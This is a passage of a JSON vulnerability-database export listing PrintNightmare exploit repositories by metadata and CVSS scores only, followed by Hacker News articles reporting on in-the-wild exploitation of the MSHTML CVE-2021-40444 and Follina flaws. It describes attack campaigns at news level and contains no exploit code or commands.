"obtainUserPrivilege": false}, "cvelist": ["CVE-2021-1675", "CVE-2021-34527"], "modified": "2021-10-24T06:06:09", "id": "E7D3FB75-54DE-5CD8-83D6-438BFC7CFA74", "href": "", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}, "privateArea": 1}, {"lastseen": "2022-03-24T00:25:23", "description": "# It Was All A Dream\n\nA [CVE-2021-34527](https://msrc.microsoft....", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2021-07-05T20:13:49", "type": "githubexploit", "title": "Exploit for Improper Privilege Management in Microsoft", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-1675", "CVE-2021-34527"], "modified": "2022-03-23T19:20:20", "id": "0BB19334-D311-5464-B40B-7B27A0AD8825", "href": "", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}, "privateArea": 1}, {"lastseen": "2022-02-22T08:28:18", "description": "# CVE-2021-1675 / CVE-2021-34527\n\nImpacket implementation of the...", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 8.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "userInteraction": "REQUIRED", "version": "3.1"}, "impactScore": 5.9}, "published": "2022-02-22T03:32:14", "type": "githubexploit", "title": "Exploit for Improper Privilege Management in Microsoft", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-1675", "CVE-2021-34527"], "modified": "2022-02-22T03:32:28", "id": "21F83D93-118D-50C7-A5C0-B2069237666E", "href": "", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}, "privateArea": 1}, {"lastseen": "2022-03-30T19:52:51", "description": "# CVE-2021-34527 - PrintNightmare LPE (PowerShell)\n\n> Caleb Stew...", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2021-07-02T12:10:49", "type": "githubexploit", "title": "Exploit for Improper Privilege Management in Microsoft", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-1675", "CVE-2021-34527"], "modified": "2022-03-30T10:57:52", "id": "B03B4134-B4C9-5B2D-BA55-EEEA540389F4", "href": "", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}, "privateArea": 1}, {"lastseen": "2022-03-27T17:02:41", "description": "# PrintNightmare\n\nPython implementation for PrintNightmare (CVE-...", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2021-09-26T13:53:10", "type": "githubexploit", "title": "Exploit for Improper Privilege Management in Microsoft", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-1675", "CVE-2021-34527"], "modified": "2022-03-27T13:10:07", "id": "8EDE916A-F04B-59F0-A88D-13DEF969DC00", "href": "", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}, "privateArea": 1}, {"lastseen": "2022-03-16T17:02:43", "description": "= Print Nightmare \u5206\u6790\u62a5\u544a\n:imagesdir: Figures\n:toc:\n:icons: font\n:f...", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 8.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "userInteraction": "REQUIRED", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-07-22T10:49:30", "type": "githubexploit", "title": "Exploit for Improper Privilege Management in Microsoft", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-34527", "CVE-2021-1675"], "modified": "2022-03-16T09:18:03", "id": "F1B229EB-2178-53B9-839E-BA0B916376A2", "href": "", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}, "privateArea": 1}], "thn": [{"lastseen": "2022-05-09T12:37:18", "description": "[](<https://thehackernews.com/images/-3vEprTVA4BI/YULvTEzYNCI/AAAAAAAADz0/RpSk1fU9GbcY7e98Gg2r8aBRvy73Z52kACLcBGAsYHQ/s0/cyberattack.jpg>)\n\nMicrosoft on Wednesday disclosed details of a targeted phishing campaign that leveraged a now-patched zero-day flaw in its MSHTML platform using specially-crafted Office documents to deploy Cobalt Strike Beacon on compromised Windows systems.\n\n\"These attacks used the vulnerability, tracked as [CVE-2021-40444](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-40444>), as part of an initial access campaign that distributed custom Cobalt Strike Beacon loaders,\" Microsoft Threat Intelligence Center [said](<https://www.microsoft.com/security/blog/2021/09/15/analyzing-attacks-that-exploit-the-mshtml-cve-2021-40444-vulnerability/>) in a technical write-up. \"These loaders communicated with an infrastructure that Microsoft associates with multiple cybercriminal campaigns, including human-operated ransomware.\"\n\nDetails about CVE-2021-40444 (CVSS score: 8.8) first [emerged](<https://thehackernews.com/2021/09/new-0-day-attack-targeting-windows.html>) on September 7 after researchers from EXPMON alerted the Windows maker about a \"highly sophisticated zero-day attack\" aimed at Microsoft Office users by taking advantage of a remote code execution vulnerability in MSHTML (aka Trident), a proprietary browser engine for the now-discontinued Internet Explorer and which is used in Office to render web content inside Word, Excel, and PowerPoint documents.\n\n\"The observed attack vector relies on a malicious ActiveX control that could be loaded by the browser rendering engine using a malicious Office document,\" the researchers noted. Microsoft has since [rolled out a fix](<https://thehackernews.com/2021/09/microsoft-releases-patch-for-actively.html>) for the vulnerability as part of its Patch Tuesday updates a week later on September 14.\n\nThe Redmond-based tech giant attributed the activities to related cybercriminal clusters it tracks as DEV-0413 and DEV-0365, the latter of which is the company's moniker for the emerging threat group associated with creating and managing the Cobalt Strike infrastructure used in the attacks. The earliest exploitation attempt by DEV-0413 dates back to August 18.\n\nThe exploit delivery mechanism originates from emails impersonating contracts and legal agreements hosted on file-sharing sites. Opening the malware-laced document leads to the download of a Cabinet archive file containing a DLL bearing an INF file extension that, when decompressed, leads to the execution of a function within that DLL. The DLL, in turn, retrieves remotely hosted shellcode \u2014 a custom Cobalt Strike Beacon loader \u2014 and loads it into the Microsoft address import tool.\n\nAdditionally, Microsoft said some of the infrastructures that were used by DEV-0413 to host the malicious artifacts were also involved in the delivery of BazaLoader and Trickbot payloads, a separate set of activities the company monitors under the codename DEV-0193 (and by Mandiant as UNC1878).\n\n\"At least one organization that was successfully compromised by DEV-0413 in their August campaign was previously compromised by a wave of similarly-themed malware that interacted with DEV-0365 infrastructure almost two months before the CVE-2021-40444 attack,\" the researchers said. \"It is currently not known whether the retargeting of this organization was intentional, but it reinforces the connection between DEV-0413 and DEV-0365 beyond sharing of infrastructure.\"\n\nIn an independent investigation, Microsoft's RiskIQ subsidiary attributed the attacks with high confidence to a ransomware syndicate known as Wizard Spider aka Ryuk, noting that the network infrastructure employed to provide command-and-control to the Cobalt Strike Beacon implants spanned more than 200 active servers.\n\n\"The association of a zero-day exploit with a ransomware group, however remote, is troubling,\" RiskIQ researchers [said](<https://www.riskiq.com/blog/external-threat-management/wizard-spider-windows-0day-exploit/>). It suggests either that turnkey tools like zero-day exploits have found their way into the already robust ransomware-as-a-service (RaaS) ecosystem or that the more operationally sophisticated groups engaged in traditional, government-backed espionage are using criminally controlled infrastructure to misdirect and impede attribution.\"\n\n \n\n\nFound this article interesting? Follow THN on [Facebook](<https://www.facebook.com/thehackernews>), [Twitter _\uf099_](<https://twitter.com/thehackersnews>) and [LinkedIn](<https://www.linkedin.com/company/thehackernews/>) to read more exclusive content we post.\n", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 7.8, "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2021-09-16T07:19:00", "type": "thn", "title": "Windows MSHTML 0-Day Exploited to Deploy Cobalt Strike Beacon in Targeted Attacks", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-40444"], "modified": "2021-11-12T15:17:20", "id": "THN:59AE75C78D4644BFA6AD90225B3DE0C1", "href": "https://thehackernews.com/2021/09/windows-mshtml-0-day-exploited-to.html", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2022-05-30T17:38:47", "description": "[](<https://thehackernews.com/new-images/img/b/R29vZ2xl/AVvXsEgi3RXvGtPoTC8ufDqadLbye4bhkJjWs-Un41xcwOWrqQPpLekG-pG0Xxk-or-GInK-LQOG7QDpCF3p4FVNPMxdNLSsl4TgenAVq4LOJcfYcZ0LcgQ0zlwru8TY2ff5ffd7EEPtwFERwA4hDGj0uKeJYZBw1AGUroAFwL-QXSJrDONv8gHe7E2ghPpr/s728-e100/hacking-code.jpg>)\n\nCybersecurity researchers are calling attention to a zero-day flaw in Microsoft Office that could be abused to achieve arbitrary code execution on affected Windows systems.\n\nThe vulnerability came to light after an independent cybersecurity research team known as nao_sec uncovered a Word document (\"[05-2022-0438.doc](<https://www.virustotal.com/gui/file/4a24048f81afbe9fb62e7a6a49adbd1faf41f266b5f9feecdceb567aec096784/detection>)\") that was uploaded to VirusTotal from an IP address in Belarus.\n\n\"It uses Word's external link to load the HTML and then uses the 'ms-msdt' scheme to execute PowerShell code,\" the researchers [noted](<https://twitter.com/nao_sec/status/1530196847679401984>) in a series of tweets last week.\n\nAccording to security researcher Kevin Beaumont, who dubbed the flaw \"Follina,\" the maldoc leverages Word's [remote template](<https://attack.mitre.org/techniques/T1221/>) feature to fetch an HTML file from a server, which then makes use of the \"ms-msdt://\" URI scheme to run the malicious payload.\n\nThe shortcoming has been so named because the malicious sample references 0438, which is the area code of Follina, a municipality in the Italian city of Treviso.\n\n[MSDT](<https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/msdt>) is short for Microsoft Support Diagnostics Tool, a utility that's used to troubleshoot and collect diagnostic data for analysis by support professionals to resolve a problem.\n\n\"There's a lot going on here, but the first problem is Microsoft Word is executing the code via msdt (a support tool) even if macros are disabled,\" Beaumont [explained](<https://doublepulsar.com/follina-a-microsoft-office-code-execution-vulnerability-1a47fce5629e>).\n\n\"[Protected View](<https://support.microsoft.com/en-us/topic/what-is-protected-view-d6f09ac7-e6b9-4495-8e43-2bbcdbcb6653>) does kick in, although if you change the document to RTF form, it runs without even opening the document (via the preview tab in Explorer) let alone Protected View,\" the researcher added.\n\nIn a standalone analysis, cybersecurity company Huntress Labs detailed the attack flow, noting the HTML file (\"RDF842l.html\") that triggers the exploit originated from a now-unreachable domain named \"xmlformats[.]com.\"\n\n\"A Rich Text Format file (.RTF) could trigger the invocation of this exploit with just the Preview Pane within Windows Explorer,\" Huntress Labs' John Hammond [said](<https://www.huntress.com/blog/microsoft-office-remote-code-execution-follina-msdt-bug>). \"Much like CVE-2021-40444, this extends the severity of this threat by not just 'single-click' to exploit, but potentially with a 'zero-click' trigger.\"\n\nMultiple Microsoft Office versions, including Office, Office 2016, and Office 2021, are said to be affected, although other versions are expected to be vulnerable as well.\n\nWhat's more, Richard Warren of NCC Group [managed](<https://twitter.com/buffaloverflow/status/1530866518279565312>) to demonstrate an exploit on Office Professional Pro with April 2022 patches running on an up-to-date Windows 11 machine with the preview pane enabled.\n\n\"Microsoft are going to need to patch it across all the different product offerings, and security vendors will need robust detection and blocking,\" Beaumont said. We have reached out to Microsoft for comment, and we'll update the story once we hear back.\n\n \n\n\nFound this article interesting? Follow THN on [Facebook](<https://www.facebook.com/thehackernews>), [Twitter _\uf099_](<https://twitter.com/thehackersnews>) and [LinkedIn](<https://www.linkedin.com/company/thehackernews/>) to read more exclusive content we post.\n", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 7.8, "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2022-05-30T09:40:00", "type": "thn", "title": "Watch Out! Researchers Spot New Microsoft Office Zero-Day Exploit in the Wild", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-40444"], "modified": "2022-05-30T15:44:33", "id": "THN:E7762183A6F7B3DDB942D3F1F99748F6", "href": "https://thehackernews.com/2022/05/watch-out-researchers-spot-new.html", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2022-05-09T12:38:04", "description": "[](<https://thehackernews.com/new-images/img/a/AVvXsEjYUPLUjcZm_IOi_2W8OCO67vRS3dKYHbn9uyV27yUDW18dhUv8jXFX9JDvQYw6FCzwj__3eQkTEwAOG-s6nigko_jBV77WQl46SxYEsGMQxc5g2hIFfR11hGm-vi1oobscaw6jTNgq2ed6ZN5OE9wz9JHWzNk0PH1xq9WzsWMs18Gk_P_yhPWT0YQm>)\n\nA new Iranian threat actor has been discovered exploiting a now-addressed critical flaw in the Microsoft Windows MSHTML platform to target Farsi-speaking victims with a previously undocumented PowerShell-based information stealer designed to harvest extensive details from infected machines.\n\n\"[T]he stealer is a PowerShell script, short with powerful collection capabilities \u2014 in only ~150 lines, it provides the adversary a lot of critical information including screen captures, Telegram files, document collection, and extensive data about the victim's environment,\" SafeBreach Labs researcher Tomer Bar [said](<https://www.safebreach.com/blog/2021/new-powershortshell-stealer-exploits-recent-microsoft-mshtml-vulnerability-to-spy-on-farsi-speakers/>) in a report published Wednesday.\n\nNearly half of the targets are from the U.S., with the cybersecurity firm noting that the attacks are likely aimed at \"Iranians who live abroad and might be seen as a threat to Iran's Islamic regime.\"\n\nThe phishing campaign, which began in July 2021, involved the exploitation of CVE-2021-40444, a remote code execution flaw that could be exploited using specially crafted Microsoft Office documents. The vulnerability was [patched](<https://thehackernews.com/2021/09/microsoft-releases-patch-for-actively.html>) by Microsoft in September 2021, weeks after [reports](<https://thehackernews.com/2021/09/new-0-day-attack-targeting-windows.html>) of active exploitation emerged in the wild.\n\n[](<https://thehackernews.com/new-images/img/a/AVvXsEgHnByMecpjc8CwGXlYLKRdnKgH6K5l2WpL2UN8Tsn4OgwoQxswAm4WoSD9d7rUtLNPFN59Z11rRxwTC3ZRa4tu-3rpZvcB0cO59nDNhYGmpe6L38Tx8Y-merXNp54673AbqS20eHA5cJ4CBUQ0KjBxCH5it3HfxkZ0_bBtO1JWp3_1j6rxKqM_SMJv>)\n\n\"An attacker could craft a malicious ActiveX control to be used by a Microsoft Office document that hosts the browser rendering engine. The attacker would then have to convince the user to open the malicious document. Users whose accounts are configured to have fewer user rights on the system could be less impacted than users who operate with administrative user rights,\" the Windows maker had noted.\n\nThe attack sequence described by SafeBreach begins with the targets receiving a spear-phishing email that comes with a Word document as an attachment. Opening the file triggers the exploit for CVE-2021-40444, resulting in the execution of a PowerShell script dubbed \"PowerShortShell\" that's capable of hoovering sensitive information and transmitting them to a command-and-control (C2) server.\n\nWhile infections involving the deployment of the info-stealer were observed on September 15, a day after Microsoft issued patches for the flaw, the aforementioned C2 server was also employed to harvest victims' Gmail and Instagram credentials as part of two phishing campaigns staged by the same adversary in July 2021. \n\nThe development is the latest in a string of attacks that have capitalized on the MSTHML rendering engine flaw, with Microsoft previously [disclosing](<https://thehackernews.com/2021/09/windows-mshtml-0-day-exploited-to.html>) a targeted phishing campaign that abused the vulnerability as part of an initial access campaign to distribute custom Cobalt Strike Beacon loaders.\n\n \n\n\nFound this article interesting? Follow THN on [Facebook](<https://www.facebook.com/thehackernews>), [Twitter _\uf099_](<https://twitter.com/thehackersnews>) and [LinkedIn](<https://www.linkedin.com/company/thehackernews/>) to read more exclusive content we post.\n", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 7.8, "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2021-11-25T11:33:00", "type": "thn", "title": "Hackers Using Microsoft MSHTML Flaw to Spy on Targeted PCs with Malware", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-40444"], "modified": "2021-12-22T07:07:24", "id": "THN:C4188C7A44467E425407D33067C14094", "href": "https://thehackernews.com/2021/11/hackers-using-microsoft-mshtml-flaw-to.html", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2022-05-09T12:37:47", "description": "[](<https://thehackernews.com/new-images/img/a/AVvXsEgA-QKrMYatN3F_M4-v7x9HM6nvdPD1OS7NKKkIRgnsnSvlLAXRgr6hsKEZ00atwgnoL5cprjlDTBz9OCZqP7C83Y62uK7Zhq5VsgW8BYehEgXjsimQXbNn7rdTOaC96Glv7wizMuFukmGaa6Uo3KZH5Wejk3G_0r9eLqZqjNOspdt5uUMkJ6gyxsw8>)\n\nA short-lived phishing campaign has been observed taking advantage of a novel exploit that bypassed a patch put in place by Microsoft to fix a remote code execution vulnerability affecting the MSHTML component with the goal of delivering Formbook malware.\n\n\"The attachments represent an escalation of the attacker's abuse of the CVE-2021-40444 bug and demonstrate that even a patch can't always mitigate the actions of a motivated and sufficiently skilled attacker,\" SophosLabs researchers Andrew Brandt and Stephen Ormandy [said](<https://news.sophos.com/en-us/2021/12/21/attackers-test-cab-less-40444-exploit-in-a-dry-run/>) in a new report published Tuesday.\n\n[CVE-2021-40444](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-40444>) (CVSS score: 8.8) relates to a remote code execution flaw in MSHTML that could be exploited using specially crafted Microsoft Office documents. Although Microsoft addressed the security weakness as part of its September 2021 [Patch Tuesday updates](<https://thehackernews.com/2021/09/microsoft-releases-patch-for-actively.html>), it has been put to use in [multiple attacks](<https://thehackernews.com/2021/09/new-0-day-attack-targeting-windows.html>) ever since details pertaining to the flaw became public.\n\nThat same month, the technology giant [uncovered](<https://thehackernews.com/2021/09/windows-mshtml-0-day-exploited-to.html>) a targeted phishing campaign that leveraged the vulnerability to deploy Cobalt Strike Beacons on compromised Windows systems. Then in November, SafeBreach Labs [reported](<https://thehackernews.com/2021/11/hackers-using-microsoft-mshtml-flaw-to.html>) details of an Iranian threat actor operation that targeted Farsi-speaking victims with a new PowerShell-based information stealer designed to gather sensitive information.\n\nThe new campaign discovered by Sophos aims to get around the patch's protection by morphing a publicly available [proof-of-concept Office exploit](<https://github.com/Edubr2020/CVE-2021-40444--CABless/blob/main/MS_Windows_CVE-2021-40444%20-%20'Ext2Prot'%20Vulnerability%20'CABless'%20version.pdf>) and weaponizing it to distribute Formbook malware. The cybersecurity firm said the success of the attack can, in part, be attributed to a \"too-narrowly focused patch.\"\n\n[](<https://thehackernews.com/new-images/img/a/AVvXsEgASEZ8KvlSBJz1x7Q76isjFrCp75Cd_9NaVZvtMfqRufKRIArSQn1kxLXk86-Tc0o12JfC_n6X-nPIvoEO3JsIgDQ7_PAcEYpeiqvhKofLuQ_e7qZik3FJ-7KTq5CGjh3R7RDATGz4b_HmeYkqXa4dKpvAvSXu-47iGQrPd2IjnRxR4klHyplckGLB>)\n\n\"In the initial versions of CVE-2021-40444 exploits, [the] malicious Office document retrieved a malware payload packaged into a Microsoft Cabinet (or .CAB) file,\" the researchers explained. \"When Microsoft's patch closed that loophole, attackers discovered they could use a different attack chain altogether by enclosing the maldoc in a specially crafted RAR archive.\"\n\n**CAB-less 40444**, as the modified exploit is called, lasted for 36 hours between October 24 and 25, during which spam emails containing a malformed RAR archive file were sent to potential victims. The RAR file, in turn, included a script written in Windows Script Host ([WSH](<https://en.wikipedia.org/wiki/Windows_Script_Host>)) and a Word Document that, upon opening, contacted a remote server hosting malicious JavaScript.\n\nConsequently, the JavaScript code utilized the Word Document as a conduit to launch the WSH script and execute an embedded PowerShell command in the RAR file to retrieve the [Formbook](<https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook>) malware payload from an attacker-controlled website.\n\nAs for why the exploit disappeared a little over a day in use, clues lie in the fact that the modified RAR archive files wouldn't work with older versions of the WinRAR utility. \"So, unexpectedly, in this case, users of the much older, outdated version of WinRAR would have been better protected than users of the latest release,\" the researchers said.\n\n\"This research is a reminder that patching alone cannot protect against all vulnerabilities in all cases,\" SophosLabs Principal Researcher Andrew Brandt said. \"Setting restrictions that prevent a user from accidentally triggering a malicious document helps, but people can still be lured into clicking the 'enable content' button.\"\n\n\"It is therefore vitally important to educate employees and remind them to be suspicious of emailed documents, especially when they arrive in unusual or unfamiliar compressed file formats from people or companies they don't know,\" Brandt added. When reached for a response, a Microsoft spokesperson said \"we are investigating these reports and will take appropriate action as needed to help keep customers protected.\"\n\n**_Update:_** Microsoft told The Hacker News that the aforementioned exploit was indeed addressed with security updates that were released in September 2021. Sophos now notes that the CAB-less 40444 exploit \"may have evaded mitigations of CVE-2021-40444 without the September patch focused on the CAB-style attack\" and that the patch blocks the malicious behavior.\n\n \n\n\nFound this article interesting? Follow THN on [Facebook](<https://www.facebook.com/thehackernews>), [Twitter _\uf099_](<https://twitter.com/thehackersnews>) and [LinkedIn](<https://www.linkedin.com/company/thehackernews/>) to read more exclusive content we post.\n", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 7.8, "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2021-12-22T07:45:00", "type": "thn", "title": "New Exploit Lets Malware Attackers Bypass Patch for Critical Microsoft MSHTML Flaw", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-40444"], "modified": "2021-12-29T03:33:40", "id": "THN:8A60310AB796B7372A105B7C8811306B", "href": "https://thehackernews.com/2021/12/new-exploit-lets-malware-attackers.html", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2022-05-09T12:37:39", "description": "[](<https://thehackernews.com/new-images/img/a/AVvXsEjqkUGrj098m-d_WWiB3rvM91Eu1x3fZweKFwfNSYwVrZToTWUlCh3s3UvHQIXtbPP4vPubJ_dEdC7jSX7gGkeScLCqYsa37Zuw_hFBK6g9FbzvO5nMZPrRUk6fjS1F01cduuDD_mnZ-OKnauen-xJmprSHgWH_jmx8MYUffZvp4uojtUBzm6BbCwIZ>)\n\nCybersecurity researchers on Tuesday took the wraps off a multi-stage espionage campaign targeting high-ranking government officials overseeing national security policy and individuals in the defense industry in Western Asia.\n\nThe attack is unique as it leverages Microsoft OneDrive as a command-and-control (C2) server and is split into as many as six stages to stay as hidden as possible, Trellix \u2014 a new company created following the merger of security firms McAfee Enterprise and FireEye \u2014 said in a 